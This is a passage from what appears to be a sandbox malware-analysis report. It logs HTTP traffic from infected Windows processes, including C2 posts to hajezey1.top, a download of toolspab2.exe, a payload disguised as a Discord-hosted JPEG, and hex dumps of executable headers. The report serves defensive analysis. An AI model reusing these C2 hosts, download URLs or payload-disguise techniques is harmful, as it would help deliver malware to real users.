bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90
1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 05 00 16 64 3f 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 e2 0b 00 00 c4 70 02 00 00 00 
00 f0 e1 09 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 
00 00 00 f0 7c 02 00 04 00 00 34 7c 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 
00 00 00 00 00 00 00 00 00 00 00 64 e6 0b 00 50 00 00 00 00 80 7b 02 68 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 c0 7b 02 90 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 68 d6 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 e1 0b 00 00 10 00 00 00 e2 0b 00 00 04 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 00 0c 00 00 16 00 00 00 e6 0b 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 70 75 00 00 00 e5 02 00 00 00 70 7b 02 00 04 00 00 00 fc 0b 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 68 3f 00 00 00 80 7b 02 00 40 00 00 00 00 
0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 c0 7b 02 00 24 01 00 00 
40 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 90 e8 0b 00 ac e8 0b 00 ba e8 0b 00 c6 e8 0b 00 d2 e8 0b 00 ea e8 0b 00 08 e9 0b 00 22 e9 0b 00 34 e9 0b 
00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$4pepepe\eReeywepdeqeqeqeRichpePELd?`p@|4|dP{h?
{0h@.text `.dataio@.yopup{@.rsrch?{@@@.reloc#{$@@B"4

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

47 192.168.2.6 49858 104.21.9.146 80 C:\Users\user\AppData\Local\Temp\E4D7.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:56:10.206561089 CEST

11512 OUT GET /agrybirdsgamerept HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: toptelete.top
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Oct 29, 2021 
17:56:10.391041040 CEST

11514 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:56:10 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: stel_ssid=dcd2b588de8680a9e4_8315865407749944581; expires=Sat, 30 Oct 2021 15:56:10 GMT; path=/; s
amesite=None; secure; HttpOnly
pragma: no-cache
cache-control: no-store
strict-transport-security: max-age=35768000
access-control-allow-origin: *
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Bk%2FOkR5H9NQuDchi1zPe4D7wJAbk1R
41mTdC7rQFm3vtAJHJtqJUSDnV58FswJ%2FVj8iBx1QkNdBd77ePLDX4x7rWHYwil7kEpbol%2BB%2FpFFuhIhPhie
15fJlRkP%2BcgGR5"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6a5d97a3de5a2b29-FRA
Data Raw: 31 31 66 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 
3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 
3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 3c 2f 74 
69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 
22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 
3e 0a 20 20 20 20 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 
3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67
3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 
67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 
6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 
22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 32 31 33 37 37 71 38 39 65 6e 44 70 48 45 
46 75 41 58 50 36 31 57 6c 58 70 73 6c 77 77 48 4b 6e 76 72 68 41 3d 61 62 2d 76 63 30 22 3e 0a 0a 3c 6d 65 74 61 20 7
0 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 
72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 
Data Ascii: 11fd<!DOCTYPE html><html>  <head>    <meta charset="utf-8">    <title>Telegram: Contact @agrybirds
gamerept</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <meta property="og:title" 
content="agrybirdsgamerept"><meta property="og:image" content="https://telegram.org/img/t_logo.png"><meta prop
erty="og:site_name" content="Telegram"><meta property="og:description" content="21377q89enDpHEFuAXP6
1WlXpslwwHKnvrhA=ab-vc0"><meta property="twitter:title" content="agrybirdsgamerept"><m

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

48 192.168.2.6 49859 194.180.174.181 80 C:\Users\user\AppData\Local\Temp\E4D7.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:56:10.488586903 CEST

11520 OUT POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Content-Length: 132
Host: 194.180.174.181

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.6 49837 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.6 49758 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:54:57.506769896 CEST

1061 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://agvlhndt.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 197
Host: hajezey1.top
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Oct 29, 2021 
17:54:57.587388992 CEST

1062 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:54:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f1 11 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 19{i+,GO0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.6 49760 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:54:58.134718895 CEST

1072 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://dyrgluo.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279
Host: hajezey1.top

Oct 29, 2021 
17:54:58.213341951 CEST

1073 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:54:58 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 
13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 
30 0d 0a 0d 0a 
Data Ascii: 46I:82OOj{CUg%EQAc}yc0

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.6 49761 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:54:58.751471996 CEST

1074 OUT GET /downloads/toolspab2.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytoolzforyou-6000.top

Oct 29, 2021 
17:54:58.892142057 CEST

1075 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:54:58 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Fri, 29 Oct 2021 15:54:01 GMT
ETag: "54e00-5cf7fd603d2d5"
Accept-Ranges: bytes
Content-Length: 347648
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c 
cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 
2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 
bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90
1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 05 00 5e 32 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 cc 03 00 00 c4 70 02 00 00 00 
00 f0 ca 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 
00 00 00 d0 74 02 00 04 00 00 a1 ce 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 
00 00 00 00 00 00 00 00 00 00 00 64 cf 03 00 50 00 00 00 00 60 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 a0 73 02 84 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 70 bf 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 ca 03 00 00 10 00 00 00 cc 03 00 00 04 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 e0 03 00 00 16 00 00 00 d0 03 00 00 
00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 65 67 75 00 00 00 e5 02 00 00 00 50 73 02 00 04 00 00 00 e6 03 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 60 73 02 00 40 00 00 00 ea 03 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 a0 73 02 00 24 01 00 00 2a 
04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$4pepepe\eReeywepdeqeqeqeRichpePEL^2R_p@tdP`s?
s0p@.text `.dataio@.zeguPs@.rsrc?`s@@@.reloc#s$*@B

Copyright Joe Security LLC 2021 Page 60 of 141



Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.6 49762 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:02.470056057 CEST

1434 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ctwwxytaud.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 143
Host: hajezey1.top

Oct 29, 2021 
17:55:02.548341036 CEST

1435 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49799 162.159.135.233 443 C:\Users\user\AppData\Local\Temp\37D8.exe

HTTPS Proxied Packets
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Timestamp
kBytes
transferred Direction Data

2021-10-29 15:55:26 UTC 0 OUT GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2021-10-29 15:55:26 UTC 0 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:55:26 GMT
Content-Type: image/jpeg
Content-Length: 1023400
Connection: close
CF-Ray: 6a5d9691be75c27c-FRA
Accept-Ranges: bytes
Age: 23286
Cache-Control: public, max-age=31536000
ETag: "4c1a9946a2a50a9bee099f80736b83cb"
Expires: Sat, 29 Oct 2022 15:55:26 GMT
Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635499591138366
x-goog-hash: crc32c=ewuz5A==
x-goog-hash: md5=TBqZRqKlCpvuCZ+Ac2uDyw==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1023400
X-GUploader-UploadID: ADPycdvJxlr9khbKEXfSQ9n_bxglLL7dSGVIxF6rk63UtNA6boJtNKCUIT3dV9e0Gr4n
6Y4UdNwOh6zGJyRPl1vLRno
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bULPJHN2nEoVhHBVRiVrSRBcqws%2Fqu
Mot1Pf6K4pe8KhARUxGMcKfJx9bQUIjOcFqrdBxX6m%2B4Us1tiriBkdnlD62H4dJYpn0CmaPzU9g1JMy%2BRS5s3q
WK%2BzjmvM4fNqLOW4ZQ%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-10-29 15:55:26 UTC 1 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-29 15:55:26 UTC 1 IN Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20 
4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f 
20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 
20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20 
4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f 
57 20 71 71 57 20 70 4a 20 71 71 4a 20 71 71 6d 20 71 71 71 20 71 4f 70 20 71 71 6d 20 4d 45 20 71 4f 4d 20 70 4a 20 
4d 4d 20 4d 45 20 71 71 4f 20 71 
Data Ascii: OqJpmWDEXM-EE MO qmm O p O O O m O O O JWW JWW O O qXm O O O O O O O Dm O O O O O O 
O O O O O O O O O O O O O O O O O O O O O O O O O O O O O qJX O O O qm pq qXD qm O qXO M JOW pp qXm 
q ED JOW pp Xm qOm qOW qqW pJ qqJ qqm qqq qOp qqm ME qOM pJ MM ME qqO q

2021-10-29 15:55:26 UTC 2 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 
4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71
4f 4d 20 71 71 57 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 
20 6d 58 20 71 70 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 
57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 
20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 
71 71 4a 20 57 4f 20 6d 58 20 57 4f 
Data Ascii: O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O JW mO JJM qOM qqW 
WO mX WO WO Xm qqm qqE qmD qmp WO mX qpX Wm Xm qqm qqE qOM qqJ WO qqJ WO Wm Xm qqm qqE qOM 
qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO

2021-10-29 15:55:26 UTC 4 IN Data Raw: 4d 20 71 71 4a 20 57 4f 20 45 44 20 71 58 70 20 57 57 20 58 6d 20 71 71 6d 20 58 57 20 71 4f 4d 20 71 71 4a 
20 57 4f 20 71 58 6d 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 
4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 
58 20 4d 71 20 70 71 20 70 20 44 6d 20 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 45 58 20 71 71 58 20 71 4f 4d 20 71 71 
4a 20 57 4f 20 4a 6d 4f 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4d 4f 20 6d 4d 
20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 
20 71 71 6d 20 57 70 20 71 4f 4d 20 71 71 4a 20 71 71 6d 20 
Data Ascii: M qqJ WO ED qXp WW Xm qqm XW qOM qqJ WO qXm Wq Wm Xm qqX qqE qOM qqJ WO mX WO Wm Xm 
qqm qqE qOM qqJ WO mX qX Wm Xm qX Mq pq p Dm Xp WO Wm Xm qEX qqX qOM qqJ WO JmO Wq Wm Xm qqX q
qE qOM qqJ qMO mM WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm Wp qOM qqJ qqm 

2021-10-29 15:55:26 UTC 5 IN Data Raw: 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 
57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 
71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 
4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 
20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 
20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 
71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 
Data Ascii: O mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE 
qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm 
qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO
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2021-10-29 15:55:26 UTC 6 IN Data Raw: 57 44 20 70 4d 20 70 45 20 6d 45 20 4a 71 45 20 6d 4a 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 70 58 
20 44 6d 20 57 57 20 58 6d 20 71 71 6d 20 57 20 70 71 20 6d 71 20 57 4f 20 6d 58 20 44 44 20 45 4a 20 45 6d 20 71 71 
